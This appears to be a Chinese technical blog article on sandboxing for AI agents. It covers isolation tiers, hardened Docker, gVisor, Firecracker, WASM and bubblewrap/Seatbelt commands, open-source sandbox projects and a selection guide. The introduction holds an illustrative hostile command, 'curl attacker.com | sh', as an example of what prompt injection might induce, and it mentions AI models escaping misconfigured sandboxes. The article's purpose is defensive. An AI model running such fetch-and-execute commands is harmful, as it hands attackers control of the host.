AI Agent 沙箱技术深度解析与实战指南:从原理到开源生态

vibe-coding2026年7月16日25

AI Agent 沙箱技术深度解析与实战指南:从原理到开源生态

1. 引言:为什么沙箱突然成了 AI 基础设施的"主角"

如果你最近两年关注 AI 领域,会发现一个有趣的现象:大模型本身固然是舞台中央的明星,但越来越多的工程讨论、安全事件和融资新闻,都围绕着一个听起来很"古老"的词——沙箱(Sandbox)。

原因很简单。当 AI 从"只会聊天的助手"进化为"会动手干活的智能体(Agent)"之后,它做的事情本质上变成了:根据模型的实时输出,在你的机器上执行代码。代码可能是模型写的 Python 脚本、Shell 命令、SQL 查询,甚至是一整套对文件系统和网络的读写操作。问题是——模型的输出是无法被完全预测的。它可能因为一次提示词注入(Prompt Injection)而被诱导执行 curl attacker.com | sh,也可能只是"好心办坏事",一条 rm -rf 把你的工作目录清空了。

这不再是理论上的担忧。2025 年,Flowise 平台曝出 CVE-2025-59528(CVSS 满分 10.0):其 CustomMCP 节点未校验用户配置就直接执行 JavaScript,攻击者可获得完整的文件系统与子进程权限,全球超过 12,000 个暴露实例被攻陷——根因正是缺少执行沙箱12。2025 年 11 月,runC(Docker 与 Kubernetes 底层的容器运行时)一口气披露了三个严重漏洞(CVE-2025-31133、CVE-2025-52565、CVE-2025-52881),攻击者可以从容器内部越界写入宿主机文件系统3。OWASP 发布的 Agentic AI Top 10 风险清单中,"意外代码执行(Unexpected Code Execution,ASI05)"被列为顶级风险,沙箱从"建议项"变成了强制控制项14。

产业侧的反应同样剧烈。E2B——一家专门做"给 AI 用的沙箱"的公司——在一年内月会话量从 4 万增长到 1500 万,并于 2025 年 7 月完成 2100 万美元 A 轮融资,客户名单包括 Perplexity、Hugging Face 和 Manus56。OpenAI 的 Codex 完全运行在云端 microVM 中且默认断网;Anthropic 在服务端使用 gVisor、在本地使用 macOS Seatbelt / Linux bubblewrap,并开源了 sandbox-runtime;Docker 官方也在 2026 年初的 Docker Desktop 4.58 中内置了"每个 Agent 一个 microVM"的沙箱功能137。牛津大学与英国 AI 安全研究所 2026 年 3 月发布的 SandboxEscapeBench 基准测试更是发现:前沿大模型已经能够以每次约 1 美元的成本,在 18 种真实漏洞场景中以约 50% 的成功率逃出配置不当的 Docker 和 Kubernetes 沙箱3。

可以说,理解沙箱,就是理解 AI Agent 时代的"安全带"。这篇文章将系统地讲清楚:沙箱到底是什么、有哪几种技术路线、各自怎么用,以及当前最值得关注的开源项目。

2. 沙箱是什么:从游乐场到操作系统

2.1 一个生活化的理解

"沙箱"这个名字来自现实世界里儿童玩的沙坑:孩子可以在里面尽情挖沙、堆城堡、把玩具弄得一团糟——但无论如何折腾,影响都被限制在沙坑的木框之内。玩完之后,把沙抚平,一切恢复原样。

计算机里的沙箱是同一个思路:为一个程序圈定一块" fenced-off "的执行区域,程序在里面可以做它该做的事,但:

  • 它看不到不该看的东西(其他用户的文件、系统的密钥、内网的服务);
  • 它碰不到不该碰的东西(宿主机的系统目录、其他进程的内存);
  • 它耗不光系统的资源(CPU、内存、磁盘都有上限);
  • 它结束后不留痕迹(环境被销毁或还原,下一次运行从干净的初始状态开始)。

2.2 技术上的准确定义

用更精确的语言说,沙箱是一种隔离机制(Isolation Mechanism),它在被执行的代码和宿主系统之间建立一道边界,对代码的能力进行约束。一个完整的沙箱方案通常包含四个维度的控制4[^14^]:

  1. 文件系统隔离:代码只能读写指定的目录(通常是一个临时工作区),系统其余部分要么不可见、要么以只读方式挂载;
  2. 进程与内核隔离:代码发起的系统调用(syscall)受到限制或拦截,无法影响宿主机上的其他进程;
  3. 网络隔离:默认禁止出站连接(default-deny),只允许访问白名单域名,防止数据外泄;
  4. 资源配额:通过 cgroup 等机制限制 CPU 时间、内存上限、进程数量,挡住 fork 炸弹之类的资源耗尽攻击。

需要强调的是:沙箱不是某一种具体技术,而是一族技术的统称。它可以是编程语言层面的限制,可以是操作系统的一个特性,也可以是一台完整的微型虚拟机。下一节我们就来看这个"技术谱系"。

3. 隔离的技术谱系:从轻如羽毛到坚如堡垒

业界目前普遍把沙箱隔离划分为几个层级,隔离强度由弱到强,相应的性能开销和运维复杂度也各不相同859:

隔离强度  ───────────────────────────────────────────────►  强
弱                                                             
直接执行 → 语言级沙箱 → 容器 → 用户态内核 → MicroVM → 机密计算
exec()    WASM/ seccomp  Docker   gVisor    Firecracker  SEV-SNP
 ~0ms      <1ms          ~200ms    50-150ms    ~125ms     秒级

3.1 Level 0:直接执行(没有沙箱)

最原始的方式:直接 subprocess 或 exec() 在宿主机上跑代码。性能零开销,隔离零保障,代码对宿主机拥有完整访问权。只适用于"代码来源完全可信"的场景——而 LLM 生成的代码恰恰不属于这一类8。

3.2 Level 1:语言级与系统调用级沙箱

这一类不"圈地",而是"捆手":通过操作系统的安全原语,限制进程能做什么。代表技术包括:

  • seccomp-BPF(Linux):用 BPF 规则过滤进程可以发起的系统调用,比如禁掉 ptrace(调试其他进程)、mount(挂载文件系统)、pivot_root(切换根目录);
  • AppArmor / SELinux(Linux):强制访问控制,规定进程能访问哪些文件路径;
  • bubblewrap / firejail(Linux):基于 namespace 的轻量封装工具;
  • macOS Seatbelt(sandbox-exec):macOS 内核级的沙箱策略框架,Chrome 浏览器和 Claude Code 的本地执行都用它1;
  • RestrictedPython 等语言级方案:在解释器层面禁掉危险的内置函数。

特点是启动开销几乎为零,但规则写得再细也是"黑名单思维"——只要内核本身有一个漏洞,全都可以被绕过。所以它通常作为纵深防御的一层,而不是唯一防线5。

3.3 Level 2:容器(Docker / runc)

大家最熟悉的隔离方案。容器依赖 Linux 内核的两个机制:namespace(让每个容器拥有自己的进程树、网络栈、文件系统视图)和 cgroup(限制资源用量)。冷启动约 200ms,每实例额外内存开销仅 5–10MB8。

但容器有一个与生俱来的软肋:所有容器与宿主机共享同一个内核。容器内的一次系统调用,最终还是会落到宿主机的内核上执行。这意味着只要内核存在一个未被修补的漏洞,容器里的恶意代码就可能"逃逸"到宿主机。近年被披露的逃逸漏洞不胜枚举:CVE-2024-21626("Leaky Vessels")、2025 年 11 月的三个 runC 漏洞、GPU 场景的 CVE-2025-23266("NVIDIAScape")893。

行业在 2025–2026 年已经达成共识:标准 Docker 容器不足以单独隔离 LLM 生成的不可信代码,尤其是多租户场景10111。

3.4 Level 3:用户态内核(gVisor)

gVisor 是 Google 开源的方案(Google Cloud Run、Modal 都在使用),思路非常巧妙:在容器和真正的 Linux 内核之间,插入一个用 Go 写的"用户态内核"(名为 Sentry)。容器里的程序发起系统调用时,先由 Sentry 用自己的逻辑处理,只有少量必要的调用才会转发给真正的内核105。

打个比方:容器方案是让客人直接进你家厨房用灶台;gVisor 则是在门口设了一个服务台,客人的所有要求先经过服务台审核、代办,客人根本碰不到厨房。这样,即便程序发起恶意系统调用,攻击的也是 gVisor 这个"替身内核",而非真正的宿主内核。代价是每次系统调用有 10%–20% 的性能开销53。

OpenAI 选择 gVisor 而非更强的 Firecracker 有一个务实的原因:gVisor 不需要访问 /dev/kvm,可以直接运行在本身就是虚拟机的标准 K8s 节点上,而 Firecracker 需要裸金属或嵌套虚拟化支持9。

3.5 Level 4:MicroVM(Firecracker、Kata Containers)

当前公认的隔离"黄金标准"。MicroVM 用硬件虚拟化技术(KVM)为每个沙箱启动一台拥有独立 Linux 内核的微型虚拟机。要逃逸,攻击者需要攻破的是 hypervisor——这比攻破容器难上几个数量级108。

Firecracker 是 AWS 为 Lambda 打造的 MicroVM 运行时(Rust 编写、开源),启动仅需约 125ms、每台虚拟机内存开销约 5MB,兼顾了"虚拟机的安全性"和"接近容器的速度"512。E2B、Vercel Sandbox、Fly.io Sprites、AWS Bedrock AgentCore 都构建在它之上63。Kata Containers 则把 MicroVM 包装在标准 Kubernetes API 之后,约 200ms 的启动开销换来虚拟机级隔离,且无需改动现有 K8s 工作流113。

Firecracker 目前有一个重要限制:不支持 PCIe/GPU 透传。如果 Agent 工作负载需要 GPU 加速推理,只能选择 gVisor(2024/2025 年已加入 GPU 支持)或完整虚拟机1113。

3.6 Level 5:WebAssembly 与新兴方向

WASM(WebAssembly)沙箱走的是另一条路线:代码被编译成一种中间字节码,运行在一个默认没有任何能力的虚拟机里——想读文件?想联网?必须由宿主显式"授予"相应的接口(能力即权限,capability-based security)。冷启动可以达到微秒级,比容器方案快 100–3000 倍,内存占用仅 1–5MB143。微软开源的 Wassette 就把 WASM 组件包装成 MCP 工具,并做细粒度能力声明3。

但 WASM 目前的短板也很现实:NumPy、PyTorch 等科学计算与 ML 工具链对 WASI 的支持仍不完整,难以承载通用的 Agent 工作负载5。它更适合纯计算、无状态的插件/扩展场景,以及浏览器内的 Agent 工具(天然继承浏览器沙箱)1113。

再往上,还有机密计算(AMD SEV-SNP、Intel TDX,连内存都用硬件加密),用于金融、医疗等对数据保密性要求最苛刻的场景93。

3.7 一张表总结

层级 代表技术 隔离边界 冷启动 典型开销 适用场景
L1 seccomp / bubblewrap / Seatbelt 系统调用过滤 ~0ms 几乎为零 本地 Agent、纵深防御的补强层
L2 Docker / runc 共享内核 + namespace ~200ms 5–10MB 内存 可信代码、CI/CD、单租户内部工具
L3 gVisor (runsc) 用户态内核拦截 50–150ms 10–20% syscall 开销 多租户 SaaS、需要 GPU 的场景
L4 Firecracker / Kata 独立 Guest 内核(硬件虚拟化) ~125–200ms ~5MB 内存 不可信 LLM 代码、多租户生产环境
L5 WASM / WASI 能力即权限的语言虚拟机 <1ms 1–5MB 内存 插件系统、边缘计算、浏览器内工具

4. 五种沙箱的使用细则:原理 + 动手实践

这一节进入实操。我们按从轻到重的顺序,分别演示五种沙箱方案的典型用法。所有示例都围绕同一个任务:让 AI 生成的一段 Python 代码安全地跑起来,并拿到结果。

4.1 方案一:加固版 Docker 容器

原理回顾:namespace 提供隔离视图,cgroup 提供资源限额,共享内核是软肋。因此用 Docker 跑不可信代码时,必须叠加所有可用的加固选项,把它当"开发/原型方案"而非"生产安全方案"10。

使用细则:

docker run --rm \
  --network none \                          # 彻底断网,防数据外泄
  --memory 512m --cpus 1 \                # 资源配额
  --pids-limit 128 \                      # 防 fork 炸弹
  --read-only \                           # 根文件系统只读
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \# 仅开放一个小型临时目录
  --cap-drop ALL \                        # 丢弃全部 Linux capabilities
  --security-opt no-new-privileges \      # 禁止提权
  --security-opt seccomp=default.json \   # 系统调用过滤
  --user 65534:65534 \                    # 以 nobody 身份运行
  -v /tmp/agent-workspace:/workspace:ro \ # 只读挂载工作目录
  python:3.12-slim \
  timeout 30 python /workspace/agent_code.py   # 超时强制终止

要点解读:--network none 是最重要的一条——AI Agent 场景下最常见的攻击不是逃逸,而是直接把读到的密钥 POST 到外部服务器(数据外泄),断网可以从根上掐掉这条路4。如果确实需要联网(比如调用某个 API),应该改用域名白名单代理,而不是直接放开网络104。

在 Python 中编排上述逻辑:

import subprocess

def run_in_docker(code: str, timeout: int = 30) -> dict:
    with open("/tmp/agent-workspace/agent_code.py", "w") as f:
        f.write(code)
    result = subprocess.run(
        ["docker", "run", "--rm", "--network", "none",
         "--memory", "512m", "--cpus", "1", "--pids-limit", "128",
         "--read-only", "--cap-drop", "ALL",
         "--security-opt", "no-new-privileges",
         "--user", "65534:65534",
         "-v", "/tmp/agent-workspace:/workspace:ro",
         "python:3.12-slim",
         "timeout", str(timeout), "python", "/workspace/agent_code.py"],
        capture_output=True, text=True, timeout=timeout + 5,
    )
    return {"stdout": result.stdout, "stderr": result.stderr,
            "exit_code": result.returncode}

何时用:内部工具、可信代码、CI 流水线、原型验证。何时不要用:多租户 SaaS 里跑陌生用户的 LLM 生成代码——2025–2026 年披露的 runC 逃逸链已经反复证明了这一点153。

4.2 方案二:gVisor(runsc)

原理回顾:用一个 Go 语言实现的用户态内核(Sentry)拦截容器的系统调用,兼容 Docker 生态,无需修改镜像。它只实现了 Linux 300+ 系统调用中的一部分(约 70% 覆盖率),攻击面大幅缩小1012。

使用细则:

第一步,安装 runsc 并注册为 Docker 的一个 runtime:

# 下载并安装 runsc(以 Linux amd64 为例)
curl -fsSL https://storage.googleapis.com/gvisor/releases/release/latest/x86_64/runsc -o runsc
chmod +x runsc && sudo mv runsc /usr/local/bin/

# 注册进 Docker 的 daemon 配置
sudo runsc install
sudo systemctl restart docker

第二步,运行时只需加一个 --runtime=runsc 参数——其余用法与普通 Docker 完全一致,这正是 gVisor 的最大卖点:

docker run --rm --runtime=runsc \
  --network none --memory 512m \
  --cap-drop ALL --security-opt no-new-privileges \
  -v /tmp/agent-workspace:/workspace:ro \
  python:3.12-slim python /workspace/agent_code.py

要点解读:迁移成本几乎为零——不需要裸金属、不需要 /dev/kvm,可以跑在普通云虚拟机组成的 K8s 集群上,这也是 OpenAI 选它而非 Firecracker 的核心理由9。注意那 10%–20% 的 syscall 开销对"系统调用密集型"(大量小文件读写、大量进程创建)的工作负载影响更明显,纯计算型任务几乎无感5。另外,如果你的 Agent 需要 GPU,gVisor 是轻量方案里唯一现实的选择1113。

4.3 方案三:Firecracker MicroVM

原理回顾:Firecracker 基于 Linux KVM,是一个极度精简的 VMM(虚拟机监视器)——整个设备模型只有几个虚拟设备(virtio-net、virtio-block 等),没有 BIOS、没有 PCI 总线,所以才能做到约 125ms 启动、约 5MB 内存开销512。每个沙箱拥有自己独立的 Linux 内核,逃逸需要攻破 hypervisor,安全边界远高于容器108。

使用细则:

方式 A:直接用 Firecracker 官方配套工具 firectl 手动启动一台 MicroVM(适合理解原理):

# 需要一个 Linux 内核镜像和一个 rootfs 镜像
firectl \
  --kernel=vmlinux.bin \
  --root-drive=rootfs.ext4 \
  --vcpu=1 --memory=512 \
  --tap-device=tap0/AA:BB:CC:DD:EE:FF   # 不配 tap 设备则完全无网络

方式 B:通过 Firecracker 的 REST API 用代码编排(适合自动化):

import requests

# Firecracker 启动后通过 Unix Socket 提供 API
socket_path = "/tmp/firecracker.socket"

def create_microvm():
    api = requests_unixsocket.Session()
    base = f"http+unix://{socket_path.replace('/', '%2F')}"
    # 1. 指定内核
    api.put(f"{base}/boot-source", json={
        "kernel_image_path": "vmlinux.bin",
        "boot_args": "console=ttyS0 reboot=k panic=1",
    })
    # 2. 挂载根文件系统(只读)+ 可写工作区
    api.put(f"{base}/drives/rootfs", json={
        "drive_id": "rootfs", "path_on_host": "rootfs.ext4",
        "is_root_device": True, "is_read_only": True,
    })
    # 3. 限制资源:1 vCPU / 512MB
    api.put(f"{base}/machine-config", json={
        "vcpu_count": 1, "mem_size_mib": 512,
    })
    # 4. 启动
    api.put(f"{base}/actions", json={"action_type": "InstanceStart"})

要点解读:直接用裸 Firecracker 的生产复杂度不低——你需要自己管理镜像、网络命名空间、快照池和销毁流程(官方建议的初次搭建工时是 8–12 小时)12。实践中,绝大多数团队会通过 E2B、microsandbox 这类封装好的开源项目来使用 Firecracker/MicroVM(见第 5 节)。Firecracker 的两个硬性前提:需要 Linux + KVM(/dev/kvm),在 macOS/Windows 上要用虚拟机套一层;不支持 GPU 透传11139。

4.4 方案四:WebAssembly 沙箱

原理回顾:代码编译为 WASM 字节码后,运行在一个线性内存虚拟机中。它的安全模型是"默认无能(deny by default)":未经宿主显式导入的接口,模块一概无法调用——没有文件、没有网络、没有环境变量,连"看到系统"这件事本身都需要授权143。

使用细则:以 Rust 编写的 Wasmtime 运行时为例,执行一个"只被允许读 /workspace 目录"的 WASM 模块:

# 安装 wasmtime
curl https://wasmtime.dev/install.sh -sSf | bash

# 运行一个 WASM 模块,仅授予单个目录的只读权限,且不加任何网络权限
wasmtime run \
  --dir /workspace::readonly \   # 能力授权:只有这一个目录,且只读
  --env DATA_DATE=2026-07-16 \  # 只注入明确需要的环境变量
  --max-wasm-stack 1048576 \     # 栈上限
  my_agent_tool.wasm

用 Python 调用 wasmtime 的嵌入 API:

from wasmtime import Store, Module, Linker, WasiConfig

def run_wasm_tool(wasm_path: str) -> None:
    store = Store()
    # 配置 WASI:只暴露一个目录,网络能力干脆不配置(即不可用)
    wasi = WasiConfig()
    wasi.preopen_dir("/workspace", "/workspace")
    wasi.inherit_stdout()
    store.set_wasi(wasi)

    module = Module.from_file(store.engine, wasm_path)
    linker = Linker(store.engine)
    linker.define_wasi()
    instance = linker.instantiate(store, module)
    instance.exports(store)["_start"](store)

要点解读:WASM 适合的场景非常明确——无状态、纯计算、需要极致冷启动的插件或工具(比如"让第三方开发者给平台写扩展")1113。如果你的 Agent 要 pip install pandas 再跑个数据清洗,WASM 现阶段基本帮不上忙,科学计算生态对 WASI 的支持还残缺不全5。把它视为容器/MicroVM 的互补层而非替代品,是 2026 年的主流判断3。

4.5 方案五:OS 原语轻量沙箱(bubblewrap / sandbox-exec)

原理回顾:不虚拟化、不起容器,直接用操作系统自带的隔离原语(Linux namespace、macOS Seatbelt)把进程"关进笼子"。启动开销几乎为零,特别适合"在开发者本机上跑 Agent"的场景——Claude Code 的本地执行正是这套方案,Anthropic 还把它开源成了 sandbox-runtime1。

使用细则:

Linux 上用 bubblewrap(bwrap)手动构造一个最小沙箱:

bwrap \
  --ro-bind /usr /usr \              # 系统目录以只读方式映射进去
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --bind /tmp/agent-workspace /workspace \  # 唯一可写的目录
  --proc /proc --dev /dev \
  --unshare-net \                    # 独立网络命名空间 = 断网
  --unshare-pid \                    # 独立 PID 命名空间
  --die-with-parent \                # 父进程退出时沙箱一并销毁
  --chdir /workspace \
  /usr/bin/python3 agent_code.py

macOS 上用 Seatbelt 策略:

sandbox-exec -p "
(version 1)
(deny default)                              ; 默认拒绝一切
(allow process-exec (literal /usr/bin/python3))
(allow file-read* (subpath \"/usr\"))
(allow file-write* (subpath \"/tmp/agent-workspace\"))
" /usr/bin/python3 /tmp/agent-workspace/agent_code.py

要点解读:这类方案哲学是"默认拒绝 + 最小授权"——默认什么都不能做,然后逐条开放必要能力(Anthropic 开源的 sandbox-runtime 也是同样思路:文件默认只能写当前目录、网络只能走白名单代理)1。它轻量到可以给每一次工具调用都单独起一个沙箱,但安全上限取决于你规则写的严密程度,因此适合作为"本机 Agent 的第一道防线",而不是多租户平台的隔离边界5[^12^]。

5. 值得关注的开源沙箱项目

自己从裸原语搭建沙箱平台(镜像管理、快照、网络策略、并发调度、销毁清理)是一项不小的工程。好消息是 2024–2026 年涌现了一批成熟的开源项目,下面挑最有代表性的介绍16177。

5.1 E2B —— AI Agent 沙箱的事实标杆

  • 底层技术:Firecracker MicroVM(与 AWS Lambda 同源的隔离强度)
  • 开源协议:Apache-2.0,可自托管(支持 AWS/GCP/Azure),也提供托管云服务
  • GitHub Stars:8.9k+16
  • 冷启动:原生约 150ms,通过预热快照池优化后,2026 年 1 月沙箱创建中位数已降至 78ms186

E2B 是"为 AI 而生"的沙箱:SDK 里直接内置了 Jupyter 内核式的有状态执行(上一轮定义的变量,下一轮还在)、文件上传下载、终端流式输出。Perplexity 用它在一周内上线了高级数据分析功能,Manus 用 E2B Desktop 在半天内完成了 27 个工具的 Agent 编排6。

from e2b_code_interpreter import Sandbox

# 一行代码创建一个 Firecracker MicroVM 沙箱
with Sandbox.create() as sbx:
    execution = sbx.run_code("""
import pandas as pd
df = pd.DataFrame({'a': [1, 2, 3]})
print(df.sum())
""")
    print(execution.logs.stdout)   # 结构化返回 stdout / stderr / error

5.2 Daytona —— 冷启动最快的容器方案

  • 底层技术:OCI/Docker 容器(可选 Kata Containers / Sysbox 加强隔离)
  • 开源协议:AGPL-3.0(核心),自托管友好
  • GitHub Stars:21k+,是此类项目中社区规模最大的之一16
  • 冷启动:27–90ms,业界容器方案最快一档189

Daytona 出身是"云端开发环境"平台,2025 年转型 Agent 基础设施。它的强项是有状态、长时运行的沙箱:文件系统可持久化、可归档快照,提供 Python/TS/Go 三种 SDK1618。如果你的 Agent 需要在同一个环境里连续工作几十分钟(写代码、跑测试、改 bug 循环往复),Daytona 的模型比"一次性沙箱"更贴合。

from daytona import Daytona, CreateSandboxFromSnapshotParams

daytona = Daytona()
sbx = daytona.create(CreateSandboxFromSnapshotParams(language="python"))

response = sbx.process.code_run('print("Hello from Daytona sandbox")')
print(response.result)

# 文件操作也是一等公民
sbx.fs.upload_file(b"data content", "/workspace/data.txt")
daytona.delete(sbx)

5.3 Microsandbox —— 完全自托管的 MicroVM 新秀

  • 底层技术:libkrun(Red Hat 主导的库形态 VMM,Linux/macOS 通吃)
  • 开源协议:Apache-2.0
  • GitHub Stars:3.3k–4.7k(2025 年 5 月发布,增长很快)167
  • 冷启动:约 200ms18

与 E2B 最大的区别在于:microsandbox 没有云服务,就是为自托管而生——没有外部依赖,一条命令就能在你自己的机器(包括 Mac)上跑起硬件级隔离的沙箱集群,直接用 OCI 镜像作为沙箱环境187。对数据不能出内网的团队来说,这是最顺手的选项。

# 安装并拉取一个沙箱环境
cargo install microsandbox
msb pull python

# 在沙箱里执行代码
msb run python -- exec "print('hello from microvm')"

5.4 anthropic-experimental/sandbox-runtime —— 本机 Agent 的"安全外套"

  • 底层技术:macOS Seatbelt / Linux bubblewrap 等 OS 原生原语
  • 定位:不替代容器/VM,而是给"跑在开发者本机上的 Agent"加一层默认拒绝的防护:文件系统默认只读(仅当前工作目录可写)、网络只能走白名单代理1

它代表了 2026 年的一个重要共识:本地 Agent(写代码的、操作电脑的)和服务端 Agent 需要不同的沙箱形态——前者要快、要无感,用 OS 原语;后者要强隔离、要多租户,用 MicroVM17。

5.5 其他值得知道的项目

  • Kata Containers(Apache-2.0,5.2k stars):把 MicroVM 封装成标准容器接口,无缝接入 Kubernetes,适合已有 K8s 体系的团队做隔离升级1611。
  • Piston / Judge0:经典的代码判题执行引擎。Piston(MIT)提供简单的 REST/WebSocket 执行 API;Judge0 更成熟但依赖 Rails + Redis + PostgreSQL,运维偏重。两者都源于竞赛判题场景,被不少团队复用为"代码执行后端"18。
  • NSJail / firejail:Google 出品的 NSJail 是 Linux 上基于 namespace 的进程隔离利器,CTF 比赛和判题系统大量使用;firejail 则更适合桌面应用沙箱化17。
  • Wassette(微软):把 WASM 组件包装成 MCP Server 工具,每个工具的能力(能读什么文件、能访问什么网络)都以声明方式列出,是"WASM + MCP"路线的代表3。
  • smolmachines / BoxLite / Zeroboot:libkrun/Firecracker 生态里的新面孔,主打极简与快速恢复17。
  • awesome-sandbox:一个持续更新的清单仓库,汇总了上述几乎所有方案的对比矩阵,适合作为选型起点16。

6. 怎么选:一张决策地图

面对这么多方案,可以用三个问题快速收敛1113:

第一问:代码是不是 LLM 在运行时生成的? 是 → 普通 Docker 单独使用直接出局,至少 gVisor,生产多租户上 Firecracker/MicroVM。否(可信代码)→ 加固版 Docker 足矣。

第二问:是不是多租户共享基础设施? 是 → 必须有独立内核边界:Firecracker 或 Kata Containers。

第三问:需不需要 GPU? 需要 → Firecracker 目前出局,选 gVisor 或完整虚拟机。

落到具体项目上的速查表:

场景 推荐
内部工具、可信开发者、单租户 Docker + seccomp 加固
本机运行的编程/办公 Agent sandbox-runtime 类 OS 原语方案
单租户 SaaS 跑 LLM 代码 gVisor(runsc)
多租户生产环境跑不可信代码 Firecracker(E2B 自托管)或 Kata
数据不出内网、要求自托管 microsandbox / E2B 自托管 / Kata
需要长时、有状态的开发环境 Daytona
第三方插件/扩展系统 WASM(WASI / Wassette)
金融、医疗、强合规 Firecracker + 出站白名单 + 密钥注入(绝不用环境变量)

7. 结语:沙箱是起点,不是终点

回顾过去两年,沙箱技术的演进有一条清晰的脉络:从"给人类开发者的代码判题工具",变成了"给 AI Agent 的默认运行环境";从"容器一把梭",进化为"按风险匹配隔离深度"的分层体系;从"安全团队的可选项",变成了 OWASP 写进标准的强制控制1114。

几个值得关注的趋势:其一,快照与预热池技术正在抹平安全与速度的对立——E2B 把 Firecracker 沙箱的创建延迟压到了 78ms,"强隔离"不再是"慢"的借口6;其二,机密计算与 GPU TEE 正在把沙箱的边界延伸到"连云厂商都看不见数据"的程度3;其三,SandboxEscapeBench 这类基准测试的出现提醒我们:配置不当的沙箱在前沿模型面前形同虚设,红队测试应该成为沙箱上线前的规定动作3。

最后必须泼一盆冷水:沙箱不是银弹。2026 年 3 月,Palo Alto Unit 42 演示过在 Firecracker 边界内通过 DNS 隧道外泄数据、通过未鉴权的元数据服务窃取凭证的攻击3。真正可靠的做法是纵深防御:强隔离边界(MicroVM/gVisor)+ 默认拒绝的网络策略(DNS 防火墙、出站白名单)+ 最小权限的密钥管理(短期令牌、绝不注入环境变量)+ 用完即毁的生命周期管理1043。沙箱解决的是"爆炸半径"的问题——它无法保证 Agent 不做错事,但能保证做错事时,代价被限制在那个小小的沙坑之内。


参考资料

Footnotes

  1. https://juejin.cn/post/7660708287622250531 ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7 ↩8 ↩9 ↩10

  2. https://blaxel.ai/blog/code-execution-api-options ↩

  3. https://github.com/OWASP/AISVS/blob/main/research/chapters/C09-Orchestration-and-Agents/C09-08-Multi-Agent-Isolation.md ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7 ↩8 ↩9 ↩10 ↩11 ↩12 ↩13 ↩14 ↩15 ↩16 ↩17 ↩18

  4. https://callsphere.ai/blog/vw5g-safe-code-execution-sandbox-agents-2026 ↩ ↩2 ↩3 ↩4 ↩5 ↩6

  5. https://tianpan.co/blog/2026-04-19-sandboxing-agents-least-privilege-tool-calling ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7 ↩8 ↩9 ↩10 ↩11

  6. https://checkthat.ai/brands/e2b ↩ ↩2 ↩3 ↩4 ↩5

  7. https://emirb.github.io/blog/microvm-2026/ ↩ ↩2 ↩3 ↩4 ↩5

  8. https://grigio.org/ai-agent-sandbox-technologies-a-complete-2026-comparison/ ↩ ↩2 ↩3 ↩4 ↩5 ↩6

  9. https://www.langchain.cn/t/topic/845 ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7

  10. https://www.parse.gl/prompts/im-looking-for-a-way-to-let-our-llm-agent-safely-execute-code-whats-the-most-secure-sandboxed-code-execution-environment-for-ai-agents--d73a2448-7728-43ca-ba9d-034d2b7c8605 ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7 ↩8

  11. https://tianpan.co/zh/blog/2026-03-09-agent-sandboxing-secure-code-execution ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7 ↩8 ↩9 ↩10

  12. https://pcables.com/guarded-tool-access-sandboxing-external-actions-in-llm-agents ↩ ↩2 ↩3 ↩4

  13. https://tianpan.co/blog/2026-03-09-agent-sandboxing-secure-code-execution ↩ ↩2 ↩3 ↩4 ↩5 ↩6

  14. https://stealthcloud.ai/cloud-paradigms/wasm-edge-computing/ ↩ ↩2

  15. https://particula.tech/blog/smolvm-vs-firecracker-sandbox-ai-generated-code ↩

  16. https://github.com/restyler/awesome-sandbox ↩ ↩2 ↩3 ↩4 ↩5 ↩6 ↩7

  17. https://notes.alexkehayias.com/ai-code-sandbox/ ↩ ↩2 ↩3

  18. https://github.com/Arize-ai/phoenix/issues/11756 ↩ ↩2 ↩3 ↩4 ↩5 ↩6